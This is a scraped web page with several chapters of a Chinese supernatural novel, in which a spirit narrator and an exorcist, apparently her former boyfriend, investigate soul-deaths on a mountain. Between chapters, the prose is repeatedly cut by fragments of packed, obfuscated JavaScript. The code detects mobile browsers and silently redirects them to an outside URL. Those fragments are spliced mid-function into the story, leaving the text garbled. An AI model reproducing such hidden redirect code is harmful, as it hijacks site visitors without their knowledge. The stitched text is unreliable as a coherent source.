RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150824|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我问姚千。 “嗯,走高速很快,2个多小时就回去了。”姚千说着,打了个哈欠,那张本来就精神不佳的脸上更显疲态,“回去再补觉。” 我倒是无所谓,虽然我偶尔也会陷入休眠状态,但并不会像人类一样的犯困。 只是我有点担心姚千现在的精神状态,万一睡过去,翻了车,我倒是没事,但恐怕会因为老板中道崩殂而失去工作。 于是我决定没话找话。 “那个,那三个通缉犯最后还是死了两个,客户那边没什么意见吧?”我从座椅里探出半边身子,“我虽然进去了,但好像大部分时间都因为灵域的缘故在睡觉,没帮上什么忙。” “没事,联络人也不太在乎这一点。”姚千略带安慰语气地说出了很没有安慰意味的话,“而且我知道你很弱,没报什么期待。” “……那还真是谢谢你的体谅哈。” 我虚着眼,又好奇发问,“如果我灵体力量再强一点,就可以抵抗那个灵域的效果了?” “不会的,灵域是由规则所主宰的,想要在灵域中打破规则,很难。” 姚千说,“不过,拥有灵域的残灵也是少数,他们往往也更强,你不要试图跟石娅比较了。” 我于是更加奇怪:“那你刚才为什么不答应我的提议,明明石娅更适合做你的助手。” 姚千不说话了。 两相沉默一会儿,我觉得自己好像问了什么不该问的问题。 我发动智慧试图挽回:“那个……其实你只是想随便找个弱的,好操纵的残灵?养着那种残灵如果相当于玩火自焚,你说出来我也可以理解的……” 姚千并没有接我的话,突然道:“你其实也不想留在这里吧?” 他语气平静地指出,“我收留了别的残灵,也就相当于放你一马。” “……” 你就这么说出来,显得怪尴尬的。 “你有没有考虑过,”姚千没在意我可疑的缄默,情绪稳定得像是在自言自语,“其实我并不是真的缺少助手?” “我没有问过你的名字,也不在意你的来历,把一个刚刚见面的残灵带到自己家里,你就真的没有怀疑过吗?” 他并没有看我,我却像是被注视一样的浑身不自在起来。 姚千淡淡继续:“你什么都不记得了。” 他果然认识我啊?! “你真的认识我啊。”虽然也不是没有怀疑过这一点,但我一时间还是有些无措,“我是谁?我有家人吗?” “没有,你是孤儿,从小被遗弃,所以没有家人。生前倒是有不少朋友,但这么多年过去,应该也不太会记得你了。” 本来是挺残酷的一句话,但姚千说来,没有同情没有嘲讽,像是背出一段公式,使得这个糟糕答案的悲剧意味消减了许多。 我完全没料到会有这种答案,怔怔道:“这么多年……我死了很多年吗?” “八年。”他说出一个令我震惊的数字。 “你消失了八年。” 天色已经彻底亮起来,高速路上一片安静,前后无车,窗外略过远处草丛里几只灰扑扑的羊。 姚千转头看了我一眼,好像要从我这个一无所知的灵体上看出什么来。 “苏吉光,”他轻轻笑了一下,大约因为疲惫,于是笑容也显出些许苦涩。 不得不说,这张漂亮的脸实在很适合做出这样的表情。 “我是被你抛弃了八年的前男友。” 5. 爱与杀戮的桃源乡01 我在搜索框里输进“苏吉光”三个字,网页上跳出密密麻麻一大堆词条,红的蓝的一排排延伸下去。 自姚千告诉我那个惊天消息——至少对我来说是——之后,已经过了两天。我试图从他那里得到更多有关于我生前的个人信息,却一无所获。 姚千恢复了那副冷淡的嘴脸,那天清晨我看到的苦笑多半是幻觉。 直到这天,我终于打算通过电脑搜索自己的名字,以期取得什么线索。 对于我这种缺少特殊能力的残灵来说,想影响现实存在的物体和人类是非常困难的。但电器却不一样,残灵可以轻松侵入电器,从而实现对其的控制。 姚千多半也是知道这一点,才拿了电脑给我打发时间。 还好我的名字不是张三王五之类,不然光排除同名人士,就要浪费许多功夫。我一边逐一查看网页上词条,一边心中庆幸。 很快,我发现自己高兴得有点太早了。 在这样高度网络化的时代,是人总会在网络上留下点痕迹,但苏吉光三个字输入进去,竟然像石子砸进泥潭里,涟漪都冒不出半个,我鼠标拉下两页,居然连同名的人也没找到。 如果不是那天我特意和姚千确定了三个字的写法,这会儿一定会怀疑我输错了名字。 抱着好奇,我输入姚千的名字,回车搜索。 这个名字就没有苏吉光起得那么有水平了,能看到几个重名的搜索结果,不过也很快找到了属于这个姚千的信息。 意外的是,这个网页并非驱灵师相关,而是一所大学的公众号文章。 发布时间是遥远的10年前。 这是一篇关于话剧成功演出的学校新闻。从新闻内容来看,姚千是话剧的主演之一,文章的大部分内容都在介绍话剧的筹备和演出,姚千的名字只是顺带一提。 文章里的姚千正上大二——这人看起来二十六七岁,实际年龄原来已经二十九岁了。我一边想着,一边走马观花地浏览文章,滑到最后,看到一张参与者的众人合照。 姚千正在中心位置,穿着演出服装,一张脸看上去俊秀漂亮。 十年前的姚千明显还带有少年人的青涩。表情仍然很有个人特点,略带冷峻,不像是好说话的样子。但又带着点局促,大概是不知道如何做表情的缘故。 至少比现在要可爱一点。 现在的姚千像是沉淀太久,已经完全变成一潭安静的水。乍一看水面还算澄澈干净,仔细瞧却看不到潭底,更别提有什么再起波澜的可能性。 我针对姚千的长相评头论足一番,目光又扫过照片上的其他人。虽然记忆并没有因为姚千的提示而恢复,但我还是寄希望于能在上面找到能令我恢复记忆的线索。 一无所获,我略感遗憾,继续向下看去。 照片左下角补充着一行小字:照片为社外人员苏同学亲情拍摄~ 苏同学。我的目光被这三个字黏住。 苏这个姓氏不算大姓,出现在这里多半也不是巧合。 按照姚千所说,八年前我和他是情侣关系,那么十年前我们正在恋爱或者就是大学同学,也是再合理不过的事情。 拍下这张照片的人,多半,就是生前的我。 第一次接触到与我生前有关的东西,我一时也恍惚。对自己生前的好奇再次强烈地涌上心头,盘旋片刻,又很快冷静下来。 那个苏吉光是什么样的人,对我而言并无意义。 毕竟知道再多,我也活不过来了。 属于苏吉光的生前已经是盖棺定论的结果,我越是了解,越只是徒增遗憾罢了。 ——那是我永远也回不去的人生。 想到这里,我意兴阑珊,也没兴趣继续搜索关于姚千的情况了,把网页关掉,准备换软件刷刷短视频。 正当此时,有门铃声音从客厅传了过来。 姚千很快开门,听说话内容,应该是客户来了。 鉴于这世上的大多数人类都看不到我,我抱着看热闹的心思从客厅飘出来,窝进客厅的电视柜,准备看他们谈话。 来人姓杨,黑西装白衬衫,微笑标准,看语气应该是姚千的熟人。只是姚千眼皮垂着,仍然是一副不甚精神的表情,好像已经连续加班数日没睡过一个完整的觉。 真搞不懂。 我亲眼看着他在家里待了两天,除了吃饭睡觉翻书就是窝在卧室,他是怎么把自己搞成这样的? 客户杨先生的家常话刚说到第三个自然段,姚千已经抬眼不客气地打断了他:“这次是什么事?” 杨先生的表情严肃了点,从手边公文包里掏出牛皮纸的档案袋。 我瞬间飘移,从电视柜来到姚千肩膀旁,想看清文件上的内容。 杨先生介绍道:“这次的事情麻烦一些。在y省拖了大半年都没解决,还搭进去两位驱灵师。这不,现在上报到总部,除了你也实在没什么可推荐的人选了。” 他说着话,姚千手里的档案袋也已经拆开,最上面的是一沓照片,显现葱郁山林,大概是直升机拍下的,将这一带的地势完全收入照片之中。 类似的多角度风景照还有好几张,画面都是一片枝叶茂盛的山林。 “这里是山区,离y市市区不远,山周围也有一些村落镇子,从十多年前就一直在山脚附近搞经济作物——总之常住人口也不能算少。之前虽然发布了禁止上山的告示,但还是每隔一两个月就有人在山中失踪。”杨先生说。 “是没把告示放在心上,还是其他原因?”姚千道。 “山上每年都会失踪那么多人,做了警示和宣传,周围人不可能不知道。”杨先生道,“应该是第二种可能。” “也就是说,这座山里有什么吸引人前往的东西。” 姚千的声音没什么起伏,翻动照片的手不停,几张风景照被拿开,露出一张尸体照片。 “这是受害人的尸体。”杨先生道。 下一张照片是脸部特写。死去的男人脸颊苍白凹陷、口唇微张,眉毛拧着,因死去而僵硬的面孔上还能读出生前的些许情绪。 茫然?还是恐惧? 我对辨别人类情绪并不拿手,正在那里仔细斟酌,杨先生继续道:“他叫田事仁,家就住在山上的村落里,独居,9月底失踪,11月中旬才在山上被发现。” “中间隔了一个多月?” “对。” 姚千终于略微皱眉:“他看上去没有外伤。” “对。”杨先生肯定道,“他不是受伤而死,而是饿死的。” 饿死? 这么想着,我又往前凑凑,想要更清晰地看到照片,几乎要从姚千的肩膀穿过去。 姚千的手突然离开照片,朝我的方向轻轻一摆。 “距离。”他轻声道。 杨先生:“什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150825|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没什么。”姚千看也没看我,一脸平静。 我:? 我一个灵体,就算从你身体里穿过去你也感觉不到啊。 好敏感一男的。 “你刚才说,他失踪了一个月?”姚千又问。 “对。” “他虽然看上去狼狈,但并不像是在郊外待了一个月。”姚千分析道,“就算在郊外可以洗澡,但是他所穿的白色衣服,在野外条件下也是很难洗干净的。” 杨先生明白了:“也就是说,他失踪之后,并不是一直生活在山里,而是被带到了其他地方?” 姚千不置可否,不知在思索着什么。继续往下翻照片,又是另一个躺在草丛中的年轻男人,状态和上一位被害人几乎一模一样。 “这是第二位受害人,叫李博,和他的新婚妻子一起在山上失踪,比田事仁失踪时间要晚一些,但被发现的时间相差不多。” “那他的妻子呢?” 从照片来看,李博身边并没有其他尸体。 他刚说完这句话,翻到下一张照片,就看到了年轻女性的正面照,和被害人年纪差不多,看上去脸色苍白,目光涣散。 好消息,这是一张活人的照片。 杨先生解释道:“这位就是被害人的妻子,另一位受害人,名叫木秋,被发现时她坐在丈夫的尸体旁,但是精神恍惚,一动不动,最后是被抬下山的。” “被发现?”我忍不住问道,“不是已经禁止上山了,这两个人又是在哪里被发现的?” 姚千一顿,将我的问题重复给杨先生。 杨先生便道:“有人失踪的是大山深处,之前那些被发现的人基本都是出现在山脚或者位置较浅有人活动的区域。这一年多以来,因为情况得到了重视,也会定期有无人机在山中巡视。” 姚千嗯了一声,又接着问:“既然有幸存者,那李博死亡的具体情况你们应该都知道了?” 他一边说着,一边迅速翻看剩下的照片,大部分都是其他受害者的现场照片,林林总总加起来差不多有十来位。其中间或有几张与木秋相似的正面照,应该是其他被发现的幸存者。 “不知道。” 杨先生摇了摇头,“木秋没有透露任何详细情况。被发现之后她一直在疗养院就医,但精神状态一直没有好转。直到今年三月份,她才断断续续说出了一些有意义的内容。” “而且内容也很……奇怪。” 杨先生指着资料,让姚千翻到了相应的页数。 里面是木秋和心理医生的对话记录,重要信息被标出两条横线,非常醒目。 木秋:他们都是我杀的 木秋:李博、田事仁他们,都是我杀的 我扯扯嘴角:“那两人可是饿死的。” 医生显然也有此疑问,姚千翻到下一页,医生询问木秋如何杀人,木秋的回答意简言赅:是用匕首。 木秋:刀捅进身体里,他们就会死去。 我忍不住点点头:“啊,说得对,人被杀,就会死。” 姚千肩膀隐约耸动了一下,很快将照片翻回去,重新看了一眼。 李博和田事仁身上确实没有丝毫伤痕,可不像是被刀捅进过身体。 医生又询问:好吧,即便他们是你杀死的,你为什么要杀死他们? 木秋:这是伟大意志的授意。 木秋:他们……是罪恶的。 6. 爱与杀戮的桃源乡02 杨先生告辞离开时,姚千已经做出接下这份工作的决定。 当天下午,我们一人一残灵踏上了前往y省的列车。 虽然我并没有实体,姚千还是残存些许人道主义精神,为我购置了一张车票。两人座位连号,姚千把背包放在靠窗的位置上,示意我坐在那里。 “你不喜欢靠窗的位置?”我问。 他在过道位置坐下:“你不是喜欢靠窗的吗?” 我把灵体附进靠窗的座位,打量窗外的车站。 “还好吧,我是第一次坐列车。” 姚千沉默两秒:“不喜欢那换我坐。” 我把灵体往座位里挤了挤:“拒绝。” 去y市的动车需要6个小时,直到第二天上午,姚千才在疗养院见到了木秋。 带我们过来的是另一位工作人员,自称姓张,是w市相关事务部门的副主任,是本次事件的负责人。 “几位幸存者目前都住在这家养老院,一共四人。”这位张主任一边说着,一边将车停在了疗养院的停车位上。 “幸存者一共是四人?”姚千问。 “不是,之前还有其他人,那是再往前一年,也就是2021年的事情了。最开始由于失踪的人口不多,这件事没有被重视起来。”张主任眯着眼回忆道,“大前年也出现了一个从山上下来后精神失常的被害者,当时是被接回自己家了。” 他撇清责任一样地补充道:“您应该也知道,像这种山里人家,一般都没有把家人送进精神病医院的想法。人疯了就是在家养着,也就是我们确认茂山上有问题,才开始将受害人送进养老院的。” “那之前的这个没有一起送进去吗?” “在家里照顾不周,死了。” “那么失踪是从什么时间开始的?”姚千沉默片刻,问出了我正好奇的问题。 “也就是从21年开始的吧,”张主任不太确定道,“其实这山里之前也偶尔会有人走丢,所以第一名受害人到底是谁,一直也没办法确定……” “现在可以确定的情况是这样的,”他拿出手机扫一眼,继续道,“2021年一整年,共在山上发现4名受害者,其中2人死亡,2人幸存;2023年2月左右在山上发现3名受害者,其中2人死亡,1人幸存;同年11月发现4名受害人,其中3人死亡,1人幸存。” “不过,失踪的人比这要多出很多。”他语气沉重地补充道,“我们也难以统计到位。” 说话间,我已经跟着他们走进了疗养院之中,和医生打过招呼,我们被带进了和木秋见面的房间。 女人看起来比照片上还要苍白虚弱,蓝白相间的病号服底下空空荡荡,骨架细得好像根本撑不起这件衣服,不像人的程度的简直要追赶上我了。 我在她身边绕了两圈,听到姚千问道:“她没有正常吃饭吗?” 医生摇头:“从她进来医院之后,一直拒绝进食。不说是进食,她拒绝一切活动,就连最基础的排泄也做不到。” “那她怎么吃饭?”张主任问。 “主要靠给她摄入一些流食,一些必要的微量元素也会用打点滴的方式补充进去。”医生看了看女人,道,“所以她现在胃肠道功能也很差。你们可能现在觉得她太瘦了,但如果你们真的知道他们对活着有多么消极,就会知道他们连活着本身都算得上非常不易了。” “他们?”姚千看向医生。 “在山上发现的这些人,都是这样的,”医生道,“没有一个例外。全部没有自主进食、自主排泄的能力,你们甚至可以理解成他们和植物人没有区别。” “极个别情况下能够沟通,内容却也很难理解。” 我很快想起张主任刚才所说,被接回家居家照料的人已经死亡——对非专业人士而言,想要照顾这样一个几乎是植物人的患者,确实有相当的难度。 姚千点了点头,目光仍然落在木秋身上。 “之前的两批除灵师,”他问,“都来看过受害人吗?” “第一位来看过,第二位没有。大概是只看了照片。” 姚千嗯了一声,又道:“你看出什么了吗?” 张主任一脸茫然,陷入尴尬的思索。 姚千说这句话时,正看向我,显然他的问题并不是提给张主任的。 我绕着骨瘦如柴的女人又转了一圈,沉吟道:“她的灵……可以这样说吗?看起来不太对劲。” 姚千对我的回答不置可否,只是解释道:“不是灵。还在人体内的,叫做魂灵。” 说话间,他朝着木秋垂直伸出了手。 房间里的灵力气息乍然波动,这感觉真熟悉,可不就是我和姚千第一次在便利店相遇,他禁锢我招数吗?只是这一次被操纵的目标并不是我,换成木秋了。 随着灵力波动愈发剧烈,一道人类的身影如同被推搡挤压着,从木秋的身体里分离出来。 正如姚千刚刚所说,这应该就是属于木秋的魂灵。身体尚且存活的魂体是魂灵,已经死亡的就是和我一样的残灵。此刻,在我面前,木秋的魂灵正被特殊的力量所推搡,离开原本的身体。 我打量着眼前这个令人颇感意外的场景。 “原来是这样,”说话间,我歪头凑上前去,看向木秋脖颈间一圈深深的勒痕。 “属于木秋的魂灵已经死去了。” 由于姚千刚刚将木秋的魂灵和身体分离开来,使我能够完整看到木秋魂灵目前的状态。年轻的女人双目紧闭,脖颈上是一道几乎能断绝脖颈的勒痕,如果魂灵也有骨骼的话,那么她脖颈间的骨骼多半已经断掉了。 我有点意外:“即使魂灵死去了,人的身体却还可以活着?” 姚千显然也在观察着木秋的状态,有些心不在焉地回答道:“两者没有直接的关联。” “也就是说,只要身体不死,即便是魂灵死去了,人类还可以像植物人一样继续活下去。”我恍然,“这样说来,之前发生过什么也是一目了然了。” 虽然被发现的受害者有幸存和死亡之分,但其实,他们受到的伤害是类似的——都是魂灵死亡。 我推断道,“但由于失去自主进食的能力,才导致大部分受害者在被发现之前,就已经饿死在山林里了。” “其次,就是木秋的留言。虽然不清楚为什么魂灵死亡还有清醒的时刻,但那句话应该不是假的。”我继续分析道。 “田事仁和李博确实是被她所杀掉的,只不过杀掉的并不是通常意义上的身体,而是魂灵。” 姚千看着我,看上去是在听我说话,只是表情有些复杂——好像正透过我想到什么其他事情。 “而在这之后,木秋的魂灵又被其他人所杀死了。”我的推测说到这里,一顿,反问他:“你觉得呢?” 姚千答得有点心不在焉:“应该是这样。” 他一顿,似乎欲言又止,却又被张主任打断。 张主任忍不住用惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150826|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疑的语气试探道:“姚先生……您在跟谁说话?是跟木秋吗?” “不是她。”姚千这才想起了他的存在似的,“木秋的魂灵已经不能做出回应了。” “什么?”张主任茫然。 “带我看看剩下的三个幸存者吧。”姚千没有多解释。 果不其然,另外三个病人和木秋的情况几乎没有区别,要说最大的不同,只能是死亡方式。最离谱的是前年被发现的那位,身体看上去还算是四肢健全,灵体却堪称是血肉模糊,脑袋都削掉了小半,血淋淋一片,连我都忍不住叹气:“幸好灵体不会腐烂,不然这味道还能闻吗?” 姚千看我一眼,似乎有点压抑不住吐槽的欲望,最后还是没理会我,转过身和张主任他们解释起现在的情况。 “也就是说,这几个幸存者的魂灵是这个状态,也等于说是死了。”张主任好歹是相关事件的负责人,很快就明白了姚千的意思。 他的脸色有些难看,但很快又恢复过来,朝着姚千笑道:“幸亏您发现了,不然我们还不知道要什么时候才发现,之前来的两个驱灵师都没能知道呢。” “我看过资料,”姚千回绝了他的恭维,“之前来到这里的,那个姓任的驱灵师能力与我不同,多半是无法直观看到魂灵的,倒不是这人不细致。” 和张主任约定了下午上山,中间这段时间我和姚千暂且回宾馆休息一会儿。回去路上,想起姚千这句话,我又好奇道:“驱灵师的能力还有不同啊?” “这个你也不记得了。”姚千坐在车后座闭目养神。 这我倒是更感兴趣了:“我以前知道?” 姚千嗯了一声,却没有在这个话题上延续,而是向我解释起了刚才的问题。 “虽然到现在为止,你见过能看到你的人类并不多,但其中也是有区别的。” “大多数能够看到残灵的人,也就是能感应到灵体的人,被称之为灵感者。而在这其中的一部分,则拥有相对特殊的能力,这部分人也就拥有成为驱灵师的潜质。” 姚千的语气很平缓,坐在前排开车的张主任大概当他是在打电话,并没有对他的自言自语感到奇怪。 “也就是说,驱灵师全部是拥有特殊能力的灵感者。”我明白了。 姚千点点头:“是的。根据经历、性格、经验种种因素的影响,驱灵师的这种特殊能力各不相同——这种能力也被称之为灵能力。比如我在资料上看到的,之前那个来过疗养院的驱灵师,灵能力是掌控火焰。” 姚千虽然平时少言寡语,说起这个来倒算细致。 “他是很难通过他的能力。将魂灵从原本的身体中剥离出来的。” “那你又是怎么做到的?”我紧接着问道:“你的能力,也就是那天在便利店中用以控制我的能力,和今天将他们的魂灵从身体中剥离出来的能力是一样的吧。那是什么能力?” “空气。”姚千道,“对一定范围内空气的控制。” 这个答案和我心中猜测其实已经相当接近,尽管如此我心中还是莫名有些古怪:“听起来还挺酷的。你的灵能力就是这个吗?” “不是。”姚千这次回答得很快,跟他平时过于平淡的语气形成些许对比。 他睁开眼,侧过脸看向我:“你的记忆有没有恢复的迹象?” 我不明所以,但还是答道:“看来是没有。” “哦。”姚千的声音听不出语气,“等你记忆恢复,就会想起来了。” 7. 爱与杀戮的桃源乡03 吃过午饭,张主任开车带我们前往茂山。 路上,他还在和姚千聊着关于上午幸存者的最新发现,姚千间或回答一句,大部分时间都在透过车窗看着窗外的茂山,很有点高深味道。 我最开始怀疑姚千少言寡语是为了营造高人形象,现在时间长了,又意识到他好像只是纯粹的讨厌社交,不爱说话。 车窗外掠过树丛斑影,和平常能见到的山林风貌别无二致。山脚下尚有崎岖山路可供汽车通行,只是山路很久未经修缮,显出少有人至的荒凉。 “其实这一段路还算相对安全的。只是这两年失踪在山上的人越来越多,就连这段山脚下的区域,都没有什么人愿意踏足了。”张主任一边开着车,一边朝我们介绍道。 “即便如此,每年的失踪人数还是没有减少?”姚千问。 “没有。尽管山下已经因为这事人心惶惶,可还是有人不断失踪。” “根据这其中能找到的监控和证人证词,那些失踪的人也都是自行上山的。” 张主任皱起眉,“要不然怎么说这事棘手呢?当时第一位驱灵师在山中失踪后,之后很久都没有人愿意接手这件事。没想到,第二位也很快惨遭不测。” “第二个上山的驱灵师已经死了?” 张主任点点头:“对,今年1月份进入山中后不久,第二位驱灵师曹先生的尸体就在山里被发现了。” “也是饿死的吗?” “对,和之前被发现的受害者没有区别。” 我侧过身,看热闹一样想从姚千脸上看出点什么表情,恐惧或惋惜都好,但这人似乎相当麻木,对同行的惨死既不害怕,也不悲伤。 车停在半山腰,张主任拉下手刹,歉意道:“抱歉啊姚先生,再往上就是风险高发区了。再说,路到这里,车也就开不上去了。您可以在这周围看看,想上去也行。” 他所言不假,再往上想要开车确实不容易,我从车上飘下来,观察接下来的山路。 出乎意料的是,树林掩映的山后,隐隐能看到不少房屋轮廓,坐落在相对平缓的一段山间区域。出于角度原因,从这里看得还算清晰。 姚千跟在我身后下了车,目光落在山上,显然和我一样看到了不远处的那些屋子,他愣了愣,古怪地问道:“从这往上,是不是没有人住了?” “当然,这么多人都失踪了,谁敢住哪儿啊。” 张主任道,“现在敢上山的人都少了,都知道山上有脏东西。” 姚千没再继续问,而是点了点头,赞同道:“确实有脏东西。” 最后,姚千还是拒绝了仅在周围看看的建议,提着箱子下了车,自己朝山上去了。 当然身边还跟着我,只是张主任看不见,还在后面十分认真地呼喊:“姚先生您千万小心,有任何问题都可以随时跟我打电话——”很担心的样子。 我琢磨着也确实该担心,毕竟前两拨驱灵师都已经肉包子打狗一去不回了。 我倒还心情轻松,这一路从钢筋水泥楼群回归大自然的感觉犹如春游。 不知道是不是错觉,上次从山中来到城市的感觉,和这次回到山林间又大不相同。我能够明显察觉到,山林间的灵力是更加稀薄的。 之前的我,还无法察觉到这种区别。 对灵力的敏感或许也预示着我的灵力水平正在缓慢提升。从醒来后初次感受到灵力的存在,我一直在对自己掌控这种特殊能力的情况默默地观测和计算着。 虽然对它到底能发挥什么实际作用尚且不清楚,但似乎是生前的本能驱使着我进行着这样的行动。 山上的房子看着不算远,但毕竟俗话说望山跑死马,山林之间的台阶蜿蜒曲折,我跟在姚千旁边飘了20分钟,离那个村落还有不少距离。 这就是残灵所居住的村落,我现在几乎可以肯定。 我见过的残灵并不多,流浪时偶然碰见过几位,再然后就是在烂尾楼见过的那个小妹妹。 想到石娅,我心中莫名沉重了些。 正想着,突然身上一沉,我整个人猝不及防摔了下去。 我漂浮的位置不算高,但毕竟毫无准备,加上下面是山路台阶,我试图朝前调整重心,但还是失去平衡,朝着台阶下摔去。 姚千一把拽住我的衣服,另一手拉住胳膊,将我半提了上来。 他看着瘦削,力气却比想象中大。我站定在台阶之上,皱起了眉。 姚千注意到我的表情,第一时间抽回了手,刚想说话,却被我打断了:“你的箱子不见了。” 说话间,我看着我稳稳站在台阶上的双脚,手臂上被姚千拉拽过的触感还十分清晰。如果是残灵状态,我当然不可能接触到姚千,也不可能这样直直地站定在台阶之上。 碍于刚才我差点摔下去的突发事件,姚千这才意识到自己手中一直提着的箱子消失不见了。 看来在我们毫无察觉之时,周围的情况发生了相当大的变化。 “姚大师,这算什么?”我适应着双脚着地的感觉,问道。 姚千没有回答,而是朝我身后指了指:“你看。” 我看向来时的路,原本蜿蜒的山间台阶从十多米处断开,消失在了林中。 我懂了,看样子我们已经踏入了灵域之中。 “这里就已经是残灵作用的区域了。”姚千解释道,“你拥有实体多半也是灵域规则的作用,和之前在石琳的灵域中一样。” 我指指自己:“所以现在在你眼里,我现在和人类是一样的?” “嗯。” “大事不好,”我道,“那现在你面前如果出现了一个人,你也无法分辨他究竟是人类还是残灵了?” “……”姚千想了想,“可以的。” “哦?”我道,“怎么辨别?” “现在山上不可能有人了,”姚千面无表情,“出现的都是残灵。” “……” 我的沉默没维持太久,很快又虚着眼问道:“这么说起来,你又算是什么?” 姚千似乎还没反应过来我所提出的问题,我没有等他思考:“既然现在残灵已经变成了人类的形态,你又怎么知道,现在的你不是一个魂灵?存在于现实的箱子不见了,已经足够证明这一点了吧。” 姚千看着自己的手掌,倒对我的猜测没有异议。 “你说得对,我现在应该是以魂灵状态存在这点的。”他皱了皱眉,“只是没有想到剥离出魂灵的过程这么……” 我接口:“丝滑流畅,堪比德芙。” 姚千很捧场地轻轻笑了一下,笑得很含蓄,问我:“我们还回去试试吗?” “虽然希望渺茫,但人类不是总觉得自己能遇到奇迹吗?” 这样说着,我们朝着已经没有路的来处走去,果不其然,走了十来分钟,仍然没有看到来时的路,回头看去,和山上房屋的距离也没有丝毫缩短的迹象。 显然奇迹没有降临,真遗憾。我和姚千只好朝着房屋的聚集地走去,只走了三四分钟,房子便近在眼前。紧接着有脚步声由远及近,一个二十多岁的年轻女人从林间走了出来。 看到我们两人,她似乎愣了一下,片刻才露出笑容:“你们好,是新来的吗?” 她表情看上去还挺友好且真挚的。 我看准这一点,上前一步,笑容更加热情更加真诚,恨不得两只手伸上去跟她握握:“你好啊。” “你是住在这里的吗?”我问这位多半不是人的原住民,“我们刚到这里。” “对。”面对我的热情,年轻女人看起来倒有些局促了,“我们都是住在这里的。” 说话间,从房屋拐角处又走来一个男人,看起来大约三十出头,见到我们,也愣了愣。 我们相互做了介绍,这两人是一对情侣,都是这个村子里的住户,女人叫左子宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150827|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,男人叫方泰和。 “我们啊,是差不多半年多前来的,本来只是旅游。”方泰和倒是挺健谈,“但发现桃源村里生活状态实在是太舒服了,这不,我们就长住下来了。” 我怀疑自己听错了,又问了一遍:“村子叫什么?” “桃源村啊。”方泰和理所当然地重复了一遍。 我干笑两声,左右打量着山村风景,与寻常山村景象差别不大,只是见不到什么人影,比寻常村落要冷清许多,接着虚情假意地夸赞道:“风景很好,确实是桃花源一样的好地方。” “可不止是风景不错。”左子宁道,“是村子本身太好了。” 她叹了口气,“说实话,原本我是工作压力大,生活不顺,才想到和泰和请假出来旅游散心的。可这里的生活实在是太幸福了,一来到这里,我就发现,这儿的生活才是我想要的。” 她的音量渐渐提高:“在这里才能做到真正的无忧无虑,不必担心明天,不用考虑以后,只要幸福地生活在这里就好。” 我扯了扯嘴角,已经有点不知道要接什么了,好在方泰和立时开口解决了这个难题。 “说得是。”方泰和接上她的话,持续为村子进行宣传工作,“其实吧,人一辈子,也就是活一个高兴,除此之外还能图什么?在城市的生活那么忙,也没有什么盼头,真不如在这里心灵宁静平和。” 两人这样说着,一齐冲我露出一个弧度也类似的微笑。 我背后莫名有点发凉。 正这时间,他们已经领着我们来到了村落外。几个男女正弯着腰在农田里工作,看到我们,几人从田间站起来,纷纷露出笑容。 我终于忍不住低声朝姚千道:“这么爱笑的村子,会有什么坏心思呢?” 姚千对我的风凉话不予置评。和这群和善爱笑的村民互相介绍一番,其中一个四十岁上下的女人朝方泰和和左子宁挥挥手:“既然有新家人来了,你俩下午就不用过来工作了,带两人转转,帮他们收拾一下屋子吧。” 刚才她自我介绍叫做杨谷,原本是山下村子的居民,现在是村子的村长。 “对了!”我们离开时,她又叫住我们,笑意盈盈地补充道,“跟君雅他们说一声,今晚做点好的,欢迎新的家人。” 离开田地间,走了一段,我们终于来到了属于这座村落的厨房。厨房外,一个五六岁的小女孩正蹲在地上,自娱自乐地观察着蚂蚁。 这一个村子里的人看上去关系都不错,左子宁上前和小女孩聊天,从口袋里拿出巧克力,让她倒出些巧克力豆。女孩见我走上来,闪着光的黑色眼珠眨了眨,流露出见到陌生人的警惕,还挺可爱的。 我对人类小孩没有特别的好感,但是这样被小孩打量倒也是第一次,感觉有些新奇。 “没事的,这是新来的姐姐。”左子宁摸摸小女孩的头,“玥玥乖,跟姐姐说,你叫什么名字?” “田玥。”小女孩冲我笑了一下,又道,“姐姐真漂亮。” 我实在无法抵抗这样真诚的夸奖,也学着左子宁摸了摸女孩的头发,瞥见孩子手里的巧克力豆,于是问左子宁,“你还有巧克力豆吗?” “干什么?我已经给过玥玥了,小孩吃多了糖不好。” “不是,”我眼睛很难从巧克力豆上挪开,“我想尝尝。” 迎着左子宁怀疑的目光,从她递过来的小盒里倒出几颗巧克力豆,我余光间瞥见了姚千的表情。 